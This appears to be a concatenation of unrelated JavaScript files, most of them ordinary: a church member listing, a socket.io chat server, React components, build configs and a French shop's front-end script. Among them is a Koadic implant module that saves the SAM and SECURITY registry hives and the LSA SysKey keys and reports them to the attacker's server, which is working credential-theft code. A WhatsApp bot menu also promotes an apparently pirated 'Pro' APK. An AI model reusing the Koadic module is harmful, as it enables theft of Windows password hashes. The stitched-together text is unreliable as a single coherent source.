texto_retorno += '<div class="collapse" id="collapse'+n+'">';
texto_retorno += '<div class="well">';
texto_retorno += '<p class="recuo">';
texto_retorno += 'CPF: '+ retorno[i].membro_cpf + '<br>';
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'Sexo: ' + sexo + '';
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'Data de Nascimento: ' + retorno[i].membro_nasc + '';
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'Endereço: ' + retorno[i].rua + ', ' + retorno[i].numero;
texto_retorno += ', ' + retorno[i].bairro + ', ' + retorno[i].cep;
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'Telefone: ' + retorno[i].membro_tel + '';
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'E-mail: ' + retorno[i].membro_email + '';
texto_retorno += '</p>';
texto_retorno += '</div>';
texto_retorno += '</div>';
texto_retorno += '</td>';
texto_retorno += '</tr>';
}
texto_retorno += '</tbody></table>';
$("#mostra_membros_igreja").append(texto_retorno);
});
}
function listaPastores() {
var igreja_nome = $("#membro_igreja_nome").val();
var pastor_nome = $("#proc_pastor_nome").val();
var dados = {
"igreja_nome" : igreja_nome,
"pastor_nome" : pastor_nome
};
$("#mostra_pastores").empty();
$.ajax({
method: "GET",
url: "pastor/lista_pastores.php",
data: dados
}).done((retorno) => {
//console.log(retorno);
retorno = JSON.parse(retorno);
var texto_retorno = '<table class="table table-striped" style="width:100%;"><thead><tr><th style="width:5%;">#</th><th style="width:20%;">Igreja</th><th style="width:75%;">Nome</th></tr></thead>';
texto_retorno += '<tbody>';
//
for (i in retorno) {
var n = parseInt(parseInt(i)+1);
texto_retorno += '<tr>';
texto_retorno += '<td>'+ n +'</td>';
texto_retorno += '<td>' + retorno[i].igreja_nome + '</td>';
texto_retorno +='<td>';
texto_retorno += '<a role="button" data-toggle="collapse" href="#collapse'+n+'" aria-expanded="false" aria-controls="collapse'+n+'">';
texto_retorno += '' + retorno[i].membro_nome+ '';
texto_retorno += '</a>';
texto_retorno += '<div class="collapse" id="collapse'+n+'">';
texto_retorno += '<div class="well">';
texto_retorno += '<p class="recuo">';
texto_retorno += 'CPF: '+ retorno[i].membro_cpf + '<br>';
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'Data de Nascimento: ' + retorno[i].membro_nasc + '';
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'Endereço: ' + retorno[i].rua + ', ' + retorno[i].numero;
texto_retorno += ', ' + retorno[i].bairro + ', ' + retorno[i].cep;
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'Telefone: ' + retorno[i].membro_tel + '';
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'E-mail: ' + retorno[i].membro_email + '';
texto_retorno += '</p>';
texto_retorno += '</div>';
texto_retorno += '</div>';
texto_retorno += '</td>';
texto_retorno += '</tr>';
}
texto_retorno += '</tbody></table>';
texto_retorno += '</tbody></table>';
$("#mostra_pastores").append(texto_retorno);
});
} |
'use strict';
describe('Service: dummyContent', function () {
// load the service's module
beforeEach(module('banetApp'));
// instantiate service
var dummyContent;
beforeEach(inject(function (_dummyContent_) {
dummyContent = _dummyContent_;
}));
it('should do something', function () {
expect(!!dummyContent).toBe(true);
});
});
|
const fs = require("fs")
const http = require("http")
const io = require("socket.io")
const jsSHA = require("jssha")
const bcrypt = require("bcrypt")
const secret = require("./secret.json")
const html = fs.readFileSync("views/index.html")
const saltRounds = 10
const app = http.createServer((req, res) => {
if (req.url === "/") {
res.writeHead(200, {"Content-Type": "text/html"})
res.end(html)
}
})
let roomList = []
const generatePassword = () => {
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
return [1,2,3,4,5,6,7,8,9,10].map(() => chars.charAt(Math.floor(Math.random() * chars.length))).join("")
}
const findPassword = (roomList, roomName) => {
const findRoom = roomList.find(x => x.name === roomName)
return findRoom === undefined
? undefined
: findRoom.password
}
const createRoom = name => {
return new Promise (
(resolve, reject) => {
const password = generatePassword()
return resolve({
name,
password
})
})
}
const addRoom = (roomList, room) => {
return new Promise (
(resolve, reject) => {
roomList.push({
name: room.name,
password: room.password
})
return resolve()
})
}
const notifyRoomCreator = (roomList, socketData, socket) => {
return new Promise (
(resolve, reject) => {
let roomPass = findPassword(roomList, socketData.name)
socket.emit("notifyRoomCreator", {"password": roomPass})
return resolve()
})
}
const joinRoom = (name, socket) => {
socket.join(name)
socket.emit("joinedRoom", {"clientList": socket.adapter.rooms[name]})
socket.in(name).on("gEval", gEval => socket.broadcast.to(name).emit("gEvalSnd", {"data": gEval.data}))
socket.in(name).on("tbox", tbox => socket.broadcast.to(name).emit("update", {"data": tbox.data}))
}
const authenticate = (roomList, roomName, socket) => {
return new Promise (
(resolve, reject) =>
bcrypt.hash(
secret.secret + new Date().getTime(),
saltRounds,
(err, hash) => {
if (err) console.log(err)
socket.emit("h1", {"data": hash})
socket.once("h2", (h2) => {
let roomPass = findPassword(roomList, roomName)
if (roomPass === undefined) return reject()
let cHash2 = h2.data
let shaObj = new jsSHA("SHA-512", "TEXT")
shaObj.update(hash + roomPass)
let sHash2 = shaObj.getHash("HEX")
return cHash2 === sHash2
? resolve(roomName)
: reject()
})
})
)
}
let listener = io.listen(app)
listener.sockets.on("connection", socket => {
socket.on("createRoom", createRequest => {
createRoom(createRequest.name).then(({name, password}) => {
addRoom(roomList, {name, password})
}).then(() => {
notifyRoomCreator(roomList, createRequest, socket)
}).then(() => {
joinRoom(createRequest.name, socket)
})
})
socket.on("joinRequest", joinRequest => {
authenticate(roomList, joinRequest.name, socket).then(
roomName => joinRoom(roomName, socket),
() => socket.emit("authError")
)
})
})
app.listen(3000, "127.0.0.1")
|
// import {useEffect, useState} from 'react';
// import database from '@react-native-firebase/database';
// export default function apiService() {
// const [count, setCount] = useState(null);
// const result = async () => {
// try {
// const {data} = await database()
// .ref('/listing/count')
// .on('value', (snapshot) => {
// const val = snapshot.val();
// setCount(val);
// });
// } catch (error) {
// alert(error);
// }
// };
// useEffect(() => {
// result();
// }, []);
// return count;
// }
|
import React from "react";
const ProductInfoPrice = props => {
let inStock = false;
if (parseInt(props.productInfoPriceProp.onHand) > 0) {
inStock = true;
}
return (
<div>
<div className="product-info-price-match-guarantee">
<span className="product-info-price-logo">
<i className="fas fa-dollar-sign"></i>
</span>
<span className="product-info-price-match-guarantee-span">
Price Match Guarantee
</span>
</div>
<div className="product-info-price">
<span className="product-info-price-span">
${props.productInfoPriceProp.price}
</span>
</div>
<div className="product-info-open-box-option">
{inStock ? (
<div>
<span className="product-info-open-box-label">Open-Box:</span>
<span className="product-info-open-box-price">
from $
{(
parseInt(props.productInfoPriceProp.price) -
parseInt(props.productInfoPriceProp.price) * 0.25
).toFixed(0)}
.99
</span>
</div>
) : (
<></>
)}
</div>
</div>
);
};
export default ProductInfoPrice;
|
/**
* sapp core
* @author cww
* @since 2020-01-21
*/
import { customEvent } from './common'
function type(obj) {
return obj == null ? String(obj) : "object"
}
function isWindow(obj) {
return obj != null && obj === obj.window
}
function isObject(obj) {
return type(obj) === "object"
}
function isPlainObject(obj) {
return isObject(obj) && !isWindow(obj) && Object.getPrototypeOf(obj) === Object.prototype
}
function trigger(element, eventType, eventData) {
element.dispatchEvent(new customEvent(eventType, {
detail: eventData,
bubbles: true,
cancelable: true
}))
}
function registerService(name, callBack) {
window.addEventListener(name, async e => {
const success = e.detail ? e.detail.success : ''
const fail = e.detail ? e.detail.fail : ''
const params = e.detail ? e.detail : {}
const topView = plus.webview.getTopWebview()
try {
const res = await callBack(params)
success && fire(topView, success, res)
} catch (error) {
fail && fire(topView, fail, error)
}
})
}
function dispatch(name, params = {}) {
const client = {}
const { success, fail } = params
client.success = function(e) {
window.removeEventListener(name + '-success', client.success)
if (typeof success === 'function') {
success(e.detail)
}
}
client.fail = function(e) {
window.removeEventListener(name + '-fail', client.fail)
if (typeof fail === 'function') {
fail(e.detail)
}
}
window.addEventListener(name + '-success', client.success)
window.addEventListener(name + '-fail', client.fail)
const indexView = plus.webview.getLaunchWebview()
fire(indexView, name, { success: name + '-success', fail: name + '-fail', params })
}
function receive(eventType, data) {
if (eventType) {
try {
if (data) {
data = JSON.parse(data);
}
} catch (e) {
console.error(e)
}
trigger(document, eventType, data)
}
}
function fire(webview, eventType, data) {
if (webview) {
if (data !== '') {
data = data || {}
if (isPlainObject(data)) {
data = JSON.stringify(data || {}).replace(/\'/g, "\\u0027").replace(/\\/g, "\\u005c");
}
}
webview.evalJS("typeof sapp!=='undefined'&&sapp.core.receive('" + eventType + "','" + data + "')")
}
}
export default {
type,
isWindow,
isObject,
isPlainObject,
trigger,
registerService,
dispatch,
receive,
fire
}
|
'use strict';
const Utils = require( './index' );
module.exports = {
callbackify,
formatBody,
};
function callbackify( fn ) {
return ( req, res, next ) => fn( req, res ).then( r => res.status( 200 ).json( r || {} ) ).catch( next );
}
function formatBody( fn ) {
return ( req, res ) => {
req.body = Object.assign( {}, req.body );
req.query = Object.assign( {}, req.query );
req.query = Utils.unflatten( req.query );
if ( req.method.toUpperCase() === 'GET' ) {
req.body = req.query;
req.query = {};
}
Object.assign( req.body, req.query, req.params );
return fn( req, res );
};
}
|
'use strict';
module.exports = function( grunt ) {
return {
css: {
files: [
grunt.config( 'watch.css.pattern' )
],
tasks: [ 'compass:watch' ],
options: {
spawn: false
}
},
html: {
files: [
grunt.config( 'watch.html.pattern' )
],
tasks: [ 'copy:html' ],
options: {
spawn: false
}
}
};
};
|
const webpack = require('webpack');
const src_path = `${__dirname}/src/js`;
const reactEntry = {
index: `${src_path}/Index.jsx`,
};
const reactConfig = {
output: {
path: `${__dirname}/build/js/`,
filename: '[name].js'
},
watch: true,
module: {
loaders: [
{
loader: 'babel-loader',
include: `${__dirname}/src/js`,
query: {
presets: ['es2015', 'react'],
plugins: [
['transform-es2015-classes', {
'loose': true
}],
['transform-proto-to-assign']
]
}
}
]
},
resolve: {
extensions: ['.js', '.jsx', '.es6']
}
};
reactConfig.entry = reactEntry;
reactConfig.plugins = [
new webpack.ProvidePlugin({
$: "jquery",
jQuery: "jquery"
}),
];
module.exports = () => ({ reactConfig });
|
exports.m14 = (id, A187, tampilTanggal, whatsapp, youtube, tampilWaktu, instagram, nomer, aktif) => {
return `
❉──────────❉
*${A187}*
❉──────────❉
📆 *${tampilTanggal}*
📌STATUS BOT MK: *${aktif}*
━━━━━━━━━━━━━━━━━━━━━
╔══════════════╗
✯ MK MODS ✯
╚══════════════╝
━━━━━━━━━━━━━━━━━━━━━
*Aqui é o @bot* 🤳⚡
Pulsar Music Player Pro:
Pulsar Music Player Pro Apk Android da Rexdl. Pulsar é um player de música intuitivo, leve e cheio de recursos para Android.
Características:
✓ Interface de usuário deslumbrante e animação com design de material.
✓ Gerenciar e reproduzir música por álbum, artista, pasta e gênero.
✓ Baixe e exiba automaticamente a capa do álbum e a imagem do artista.
✓ Listas de reprodução inteligentes com faixas mais reproduzidas, reproduzidas recentemente e adicionadas recentemente.
✓ Pesquisa rápida em álbuns, artistas e músicas.
✓ Suporte de reprodução sem intervalos.
✓ controlador de equalizador de 5 bandas.
✓ Configurações de reforço e reverberação de graves.
✓ Editor de tags integrado.
✓ Suporte para Chromecast.
✓ Scrobbling da Last.fm.
✓ Vários temas coloridos.
✓ Temporizador e muito mais.
O Pulsar oferece suporte a tipos de arquivos de música padrão, incluindo mp3, aac, flac, ogg, wav e etc.
Se você não conseguir encontrar sua música no Pulsar, clique no item de menu “rescan library” da barra de ação para reexaminar o dispositivo.
O QUE HÁ DE NOVO
✓ Corrigido problema de retomada de reprodução após chamada telefônica.
✓ Corrigido bug ao editar imagem de arte para arquivos flac.
Para chamar o Menu digite: *@Bot*
╠════════════════════
║ MAIKON
╚════════════════════`
}
|
// Menu dropdown
$(function() {
$('.navbar .dropdown.show').hover(function() {
$(this).find('.dropdown-menu').stop(true, true).fadeIn(0);
}, function() {
$(this).find('.dropdown-menu').stop(true, true).fadeOut(0);
});
});
// Back to Top Button
var btn = $('#button-top');
$(window).scroll(function() {
if ($(window).scrollTop() > 300) {
btn.addClass('show');
} else {
btn.removeClass('show');
}
});
btn.on('click', function(e) {
e.preventDefault();
$('html, body').animate({scrollTop:0}, '300');
});
|
import { action, reaction, observable, computed, toJS, ObservableMap } from 'mobx';
import fb from '../service/firebase';
export class MsgStore {
@observable msg_token = ''
constructor() {
if(navigator.serviceWorker) {
navigator.serviceWorker.register('/sw.js')
.then(reg => {
fb.messaging.useServiceWorker(reg)
})
.catch(function(err) {
console.error('Unable to register service worker.', err);
}
);
}
fb.messaging.requestPermission()
.then(()=>{
//console.log('got permission')
return fb.messaging.getToken();
})
.then(action(token => {
//console.log(token)
this.msg_token = token
}))
.catch(err => {
console.log('permission denied', err)
})
}
}
const msgStore = window.msgStore = new MsgStore();
export default msgStore; |
function GetSysKey()
{
var jdpath = Koadic.file.getPath("~RPATH~\\42JD");
var skew1path = Koadic.file.getPath("~RPATH~\\42Skew1");
var gbgpath = Koadic.file.getPath("~RPATH~\\42GBG");
var datapath = Koadic.file.getPath("~RPATH~\\42Data");
Koadic.shell.run("reg save HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD" + " " + jdpath + " /y", false);
Koadic.shell.run("reg save HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Skew1" + " " + skew1path + " /y", false);
Koadic.shell.run("reg save HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\GBG" + " " + gbgpath + " /y", false);
Koadic.shell.run("reg save HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data" + " " + datapath + " /y", false);
var data = Koadic.file.readBinary(jdpath);
data += Koadic.file.readBinary(skew1path);
data += Koadic.file.readBinary(gbgpath);
data += Koadic.file.readBinary(datapath);
data = data.replace(/\\/g, "\\\\");
data = data.replace(/\0/g, "\\0");
var headers = {};
headers["Task"] = "SysKey";
Koadic.work.report(data, headers);
}
function DumpHive(name, uuid)
{
var path = Koadic.file.getPath("~RPATH~\\" + uuid);
Koadic.shell.run("reg save HKLM\\" + name + " " + path + " /y", false);
var data = Koadic.file.readBinary(path);
data = data.replace(/\\/g, "\\\\");
data = data.replace(/\0/g, "\\0");
var headers = {};
headers["Task"] = name;
Koadic.work.report(data, headers);
//Koadic.file.deleteFile(path);
}
try
{
DumpHive("SAM", "42SAM");
DumpHive("SECURITY", "42SECURITY");
GetSysKey();
// DumpHive("SYSTEM", "42SYSTEM");
Koadic.work.report("Complete");
}
catch (e)
{
Koadic.work.error(e);
}
Koadic.exit();
|
import bodyParser from "body-parser";
import express from "express";
import path from "path";
import cors from "cors";
import { products } from "./data/products";
import { reactRoutes } from "./routes";
const app = express();
const expressWs = require("express-ws")(app);
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(cors());
const router = express.Router();
app.use(router);
router.get("/api/products", (req, res, next) => {
return res.status(200).json(products);
});
router.get("/api/products/:identifier", (req, res, next) => {
const { params } = req;
const { identifier } = params;
const product = products.find((p) => p.identifier === identifier);
if (product) {
return res.status(200).json(product);
} else {
return res.status(400).json({ message: "invalid product identifier" });
}
});
router.post("/api/products/:identifier/reviews", (req, res, next) => {
const { params, body } = req;
const { review } = body;
const { identifier } = params;
const index = products.findIndex((p) => p.identifier === identifier);
if (index > -1) {
const product = products[index];
const newReview = {
id: Date.now(),
...review,
};
let { reviews } = product;
product.reviews = [ newReview , ...reviews];
product.avgRating = (
reviews.reduce((acc, cur) => acc + cur.rating, 0) / product.reviews.length
).toFixed(2);
const aWss = expressWs.getWss(`/api/products/${identifier}/live`);
aWss.clients.forEach(function (client) {
client.send(JSON.stringify(product));
});
return res.status(200).json(product);
}
return res.status(400).json({ message: "failed to add review" });
});
app.ws("/api/products/:identifier/live", function (ws, req) {
ws.on("message", function (msg) {
console.log(msg);
});
});
const reactIndexPath = path.join(__dirname, "../../client/build/");
const htmlIndexPath = path.join(__dirname, "../../mvp/index.html");
app.use(express.static(reactIndexPath));
app.use(express.static(htmlIndexPath));
//to detect react route
reactRoutes.map((route) => {
console.log("route.path ", route.path);
// app.get(`${route.path}`, (req, res) => {
// console.log('came in route', reactIndexPath);
// res.sendFile(reactIndexPath);
// });
if (route.children && route.children.length) {
route.children.map((childRoute) => {
console.log("route.path.children ", `${route.path}/${childRoute}`);
app.get(`${route.path}/${childRoute}`, (req, res) => {
console.log("came in route.children", reactIndexPath);
res.sendFile(reactIndexPath);
});
});
}
});
app.get("*", (req, res) => {
console.log("came in mvp path");
res.sendFile(htmlIndexPath);
});
app.set("port", process.env.PORT || 3001);
app.listen(app.get("port"), () => {
console.log(`Listening on ${app.get("port")}`);
});
|
import {
CHANGE_THEME,
RESTORING_SELECTED_GROUP,
SET_SORT_PLAYERS_BY,
TOGGLE_GROUP_SELECTOR,
} from '../constants/layout';
import {loggedIn} from './auth';
import {
firebaseGetCurrentUserInfo,
firebaseReloadCurrentUser,
} from '../services/firebase-utils';
export const setTheme = (theme) => ({
type: CHANGE_THEME,
payload: theme,
});
export const setSortPlayersBy = (by) => ({
type: SET_SORT_PLAYERS_BY,
payload: by,
});
export const toggleGroupSelector = (theme) => ({
type: TOGGLE_GROUP_SELECTOR,
});
export const setSelectedGroupGlobally = (selectedGroup) => ({
type: RESTORING_SELECTED_GROUP,
payload: selectedGroup,
});
export const reloadUser = () => async (dispatch, getState) => {
const auth = getState().auth;
firebaseReloadCurrentUser().then(() => {
firebaseGetCurrentUserInfo(auth.user.email, auth.user.emailVerified).then(
(user) => {
dispatch(loggedIn(user));
},
);
});
};
|
/*----------/
/* Common /
/*---------*/
function SetUniqueRadioButton(nameregex, current)
{
//-- Use as follows:
//-- <input value="radSize" type="radio" id="repCollectionModuleTabs_radSize_0" />
//-- radSize.Attributes.Add("onclick", "SetUniqueRadioButton('repCollectionModuleTabs_radSize', this);");
re = new RegExp(nameregex);
//-- Loop ALL the controls in the form
for (i = 0; i < document.forms[0].elements.length; i++)
{
//-- If it is a radio button and it belongs to the Repeater we are checking, uncheck the control
if (document.forms[0].elements[i].type == 'radio')
{
if (re.test(document.forms[0].elements[i].id))
document.forms[0].elements[i].checked = false;
}
}
//-- And of course check the one the user clicked
current.checked = true;
}
function RemoveURLParameter(url, parameter)
{
var urlparts = url.split('?');
if (urlparts.length >= 2)
{
var prefix = encodeURIComponent(parameter) + '=';
var pars = urlparts[1].split(/[&;]/g);
for (var i = pars.length; i-- > 0;)
{
if (pars[i].lastIndexOf(prefix, 0) !== -1)
pars.splice(i, 1);
}
return urlparts[0] + (pars.length > 0 ? '?' + pars.join('&') : '');
}
return url;
}
function getParameterByName(name, url)
{
if (!url) url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
/*--------/
/* Util /
/*-------*/
let UtilIndex = function()
{
let preventClosingDropDown = function ()
{
$(document).on("click", ".dropdown-menu", function (e)
{
if(! $(this).closest(".bs-select").length )
e.stopPropagation();
});
};
let generateExpander = function()
{
$(".expandable-list").each(function (index)
{
if ($(this).children("li").size() > 12)
$(this).append('<li class="expander"></li>');
});
$(".expandable-list-xs").each(function (index)
{
if ($(this).children("li").size() > 7)
$(this).append('<li class="expander"></li>');
});
};
let expandLists = function()
{
$(".expandable-list .expander, .expandable-list-xs .expander").click(function ()
{
$(this).parent().toggleClass('expanded');
});
};
let setTickColor = function()
{
$('.checkbox-container, .radio-container').each(function (pos, el)
{
let color = $(el).find('span').css('background-color');
let colorIsLight = isLight(color);
if(!colorIsLight)
$(this).find('input').addClass('lightTick');
else
$(this).find('input').addClass('darkTick');
});
};
let isLight = function (color)
{
let r, g, b, hsp;
if (color.match(/^rgb/))
{
color = color.match(/^rgba?\((\d+),\s*(\d+),\s*(\d+)(?:,\s*(\d+(?:\.\d+)?))?\)$/);
r = color[1];
g = color[2];
b = color[3];
}
else
{
color = +("0x" + color.slice(1).replace(color.length < 5 && /./g, '$&$&'));
r = color >> 16;
g = color >> 8 & 255;
b = color & 255;
}
hsp = Math.sqrt(0.299 * (r * r) + 0.587 * (g * g) + 0.114 * (b * b));
return hsp > 127.5 ? true: false;
};
let trimPageSubtitle = function (numOfLines)
{
if ($('.page-subtitle').length === 1)
{
var tmpLineHeight = $('.page-subtitle').css('line-height');
var lineHeight = tmpLineHeight.substr(0, tmpLineHeight.indexOf('p'));
var totalAllowedLineHeight = Math.floor((+lineHeight * numOfLines));
var currHeight = $('.page-subtitle').outerHeight();
if (currHeight > totalAllowedLineHeight)
{
$('.page-subtitle').addClass().css({ "max-height": `${totalAllowedLineHeight}px`, "overflow": "hidden" });
if ($('.page-subtitle').find('span').length !== 1)
{
$('.page-subtitle').append("<span class='link'><a href='#'> ...La lire Suite</a></span>");
showFullPageListSubtitle();
}
}
else
$('.page-subtitle .link').hide();
}
};
let showFullPageListSubtitle = function ()
{
$('.page-subtitle .link').click(function ()
{
$('.page-subtitle').toggleClass('show');
$('.page-subtitle .link').toggleClass('position-initial');//css('position', 'inherit');
});
};
let selectKeyboardTrigger = function ()
{
$('body').on("keyup", ".bootstrap-select.show", function (e)
{
e.preventDefault();
var $options, $select, ctrl = this;
ctrl.buffer = (ctrl.buffer || "");
$select = $(ctrl).find("select");
$options = $select.find("option");
if (ctrl.capture)
clearTimeout(ctrl.capture);
ctrl.capture = window.setTimeout(function ()
{
ctrl.buffer = "";
ctrl.capture = null;
}, 1000);
ctrl.buffer += String.fromCharCode(e.which);
var searchVal = ctrl.buffer.charAt(0).toUpperCase() + ctrl.buffer.slice(1);
var opt = $select.find('option:contains(' + searchVal + ')');
$select.selectpicker("val", opt.val());
$select.selectpicker('refresh');
return false;
});
};
return {
init: function() {
preventClosingDropDown();
generateExpander();
expandLists();
setTickColor();
trimPageSubtitle(3);
selectKeyboardTrigger();
},
setTickColor: function() {
setTickColor();
}
};
}();
function NewsletterSubscription(emailAddress, fromWhere)
{
var args = "{\"emailAddress\":\"" + emailAddress + "\", \"fromWhere\":\"" + fromWhere + "\"}";
$.ajax
(
{
url: "/services/customer/serviceCustomer.aspx/NewsletterSubscription",
async: true,
cache: false,
type: "POST",
contentType: "application/json; charset=utf-8",
dataType: "json",
data: args,
success: function (data, textStatus, jqXHR)
{
//-- .NET 4 Compatibility
if (data.d != null)
data = data.d;
//-- Success check
if (data.isSuccess)
{
//-- Display error message
$(".newsletter-confirmation").show();
$(".newsletter-confirmation").html(data.errorMessage);
$(".newsletter-confirmation").addClass("newsletter-success");
//-- Redirect in the background to fire statistics like OfSys
$.get(data.redirectionURL);
}
else
{
//-- Display error message
$(".newsletter-confirmation").show();
$(".newsletter-confirmation").html(data.errorMessage);
$(".newsletter-confirmation").addClass("newsletter-error");
}
},
error: function (jqXHR, textStatus, errorThrown)
{
console.log(textStatus, errorThrown);
}
}
);
}
/*----------/
/* Header /
/*---------*/
let Header = function ()
{
let headerVisibility = function()
{
if (window.innerWidth < 992)
{
$(window).scroll
(
function()
{
if (isDomInView('#sectionFooterFaq'))
$('.fixed-header').fadeOut();
else
$('.fixed-header').fadeIn();
}
);
}
};
let isDomInView = function(elem)
{
return $(elem).offset().top - $(window).scrollTop() < $(elem).height();
};
return { init: function ()
{
headerVisibility();
}
};
}();
var dynamicBasketIsVisible = false;
function HeaderLoadDynamicBasket(isAfterAddingItemInBasket)
{
//-- If coming after the customer added an item to the Basket, make sure Ajax will be called
if (isAfterAddingItemInBasket)
dynamicBasketIsVisible = false;
//-- Do nothing if we're on one of the checkout pages
if (window.location.href.toLowerCase().indexOf("shoppingbasket") == -1)
{
$('#divHeaderBasket').click(function (e)
{
//-- If link is not "#" (because it's "/shoppingbasket/basket.aspx") do nothing, else continue
if (($(this).find("a").attr("href") == "#") && (!dynamicBasketIsVisible))
{
//-- Hide icon, show indicator
$(".dynamic-basket-indicator").removeClass("d-none")
$("#divHeaderBasket").removeClass("d-md-block");
//-- Set variable
dynamicBasketIsVisible = true;
$.ajax
(
{
url: "/services/shoppingBasket/serviceBasket.aspx/GetDynamicBasket",
async: true,
cache: false,
type: "POST",
contentType: "application/json; charset=utf-8",
dataType: "json",
success: function (data, textStatus, jqXHR)
{
//-- .NET 4 Compatibility
if (data.d != null)
data = data.d;
//-- Show icon, hide indicator
$(".dynamic-basket-indicator").addClass("d-none")
$("#divHeaderBasket").addClass("d-md-block");
//-- Set HTML and show it just in case the user was on a PDP, opened it, removed the only item and clicked the Add to Basket button
$("#divHeaderDynamicBasket").html(data.html);
$("#divHeaderBasket").addClass("show");
$("#divHeaderDynamicBasket").addClass("show");
$("#divHeaderDynamicBasket").show();
//-- And attach remove click event
$('.basket-remove-from-cart').click(function (e)
{
var args = "{\"shoppingCartLineID\":\"" + $(this).parent().parent().parent().find("[id*=hidShoppingCartLineID]").val() + "\"}";
var clickedX = $(this);
$.ajax
(
{
url: "/services/shoppingBasket/serviceBasket.aspx/RemoveItemFromBasket",
async: true,
cache: false,
type: "POST",
contentType: "application/json; charset=utf-8",
dataType: "json",
data: args,
success: function (data, textStatus, jqXHR)
{
//-- .NET 4 Compatibility
if (data.d != null)
data = data.d;
//-- Remove it
$(clickedX).closest(".product-line-item").remove();
//-- Was it the last item?
if ($("#divHeaderBasket").find(".product-line-item").length == 0)
{
oldHTML = $("#aHeaderBasket").html();
$("#divHeaderDynamicBasket").hide();
$("#aHeaderBasket").replaceWith('<a href="/shoppingbasket/basket.aspx" id="aHeaderBasket">' + oldHTML + '</a>');
}
else
{
//-- Since it was not the last item, we have to update the title and footer with the new quantities and price
$("#h4HeaderDynamicBasketTitle").html(data.dynamicBasketTitle);
$("#h5HeaderDynamicBasketFooter").html(data.dynamicBasketFooter);
}
//-- And the items in basket in the header
$("#spanHeaderBasketCount").html(data.totalItemsInBasket);
},
error: function (jqXHR, textStatus, errorThrown)
{
console.log(textStatus, errorThrown);
}
}
);
});
},
error: function (jqXHR, textStatus, errorThrown)
{
console.log(textStatus, errorThrown);
}
}
);
}
});
}
}
var searchLayerIsVisible = false;
function HeaderSearchLayerFirstTimeLoad()
{
var args = "{\"searchQuery\":\"" + $("#txtSearchLayer").val() + "\"}";
$.ajax
(
{
url: "/services/header/serviceHeader.aspx/GetSearchLayerFirstTimeLoad",
async: true,
cache: false,
type: "POST",
contentType: "application/json; charset=utf-8",
dataType: "json",
data: args,
success: function (data, textStatus, jqXHR)
{
//-- .NET 4 Compatibility
if (data.d != null)
data = data.d;
//-- Set HTML
$("#searchModal").html(data.html);
//-- Close button event
$('.search-modal-close').click(function()
{
if (searchLayerIsVisible)
{
$('.fixed-header').css('position', 'fixed');
$('#menu-nav').css('margin-top', '125px');
$('#searchModal').modal('hide');
searchLayerIsVisible = !searchLayerIsVisible;
//-- For PDP only
if ($("#hidIsPDP").val() == "1")
$("body").addClass("product-page");
}
});
},
error: function (jqXHR, textStatus, errorThrown)
{
console.log(textStatus, errorThrown);
}
}
);
//-- And attach click event
$('.search-input-header').click(function()
{
//-- For PDP only, but we can go ahaed and remove it regardless where we are
$("body").removeClass("product-page");
if (window.innerWidth > 992)
$('.fixed-header').css('position', 'initial');
if (!searchLayerIsVisible)
{
$('#menu-nav').css('margin-top', '0');
$('#searchModal').modal({ show: true, backdrop: 'static', keyboard: false });
searchLayerIsVisible = !searchLayerIsVisible;
}
$(".search-modal").on('shown.bs.modal', function()
{
if (window.innerWidth < 992)
$(document).off('focusin.modal');
else
$(".search-modal-input").focus();;
});
//-- Refresh carousels
$('.search-layer-empty-carousel').slick('refresh');
$('.search-layer-filled-carousel').slick('refresh');
});
}
var searchSuggestionsTimespan;
function GetSearchSuggestions(event, searchQuery, txtSearchLayer)
{
//-- Ignore everything if the user did not type a valid key
if ((event.ctrlKey) || (event.altKey) || (event.metaKey))
return;
validKey = ((event.which <= 90 && event.which >= 48) || (event.which == 8) || (event.which == 32) || (event.which <= 105 && event.which >= 96));
if (!validKey)
return;
//-- CSS class
$(txtSearchLayer).addClass('typing');
//-- If search query is less than 3 characters long, stop only if the empty type is already displayed, else call the BLL
if ($(txtSearchLayer).val().length < 3)
{
//-- Button switch
$('header .header-top_search .btn-header').removeClass('gold-search-icon');
$('.btn-search-modal').css('background-color', '#d2d7d7');
$(txtSearchLayer).unbind('keypress');
$('.btn-search-modal').unbind('click');
//-- If empty block is already being displayed, return since there is no need to call the BLL
if ($("#hidSearchLayerIsEmpty").val() == "true")
return;
else
$("#hidSearchLayerIsEmpty").val("true");
}
else
{
//-- Button switch
$('header .header-top_search .btn-header').addClass('gold-search-icon');
$('.btn-search-modal').css('background-color', '#412814');
//-- Events
$(txtSearchLayer).keypress(function (e)
{
if (e.which == 13)
{
$('.btn-search-modal').click();
return false;
}
});
$('.btn-search-modal').click(function (e)
{
window.location = '/rechercher/results/' + $(txtSearchLayer).val() + '.aspx';
});
}
//-- Anti-spam
if (searchSuggestionsTimespan != undefined)
clearTimeout(searchSuggestionsTimespan);
//-- Make AJAX call
searchSuggestionsTimespan = setTimeout(function()
{
var args = "{\"searchQuery\":\"" + searchQuery + "\"}";
$.ajax(
{
url: "/services/header/serviceHeader.aspx/GetSearchLayerWithUserQuery",
async: true,
cache: false,
type: "POST",
contentType: "application/json; charset=utf-8",
dataType: "json",
data: args,
success: function (data, textStatus, jqXHR)
{
//-- .NET 4 Compatibility
if (data.d != null)
data = data.d;
//-- Set HTML
$('[id*="divSearchLayerBlock"]').html(data.html);
//-- Was empty returned?
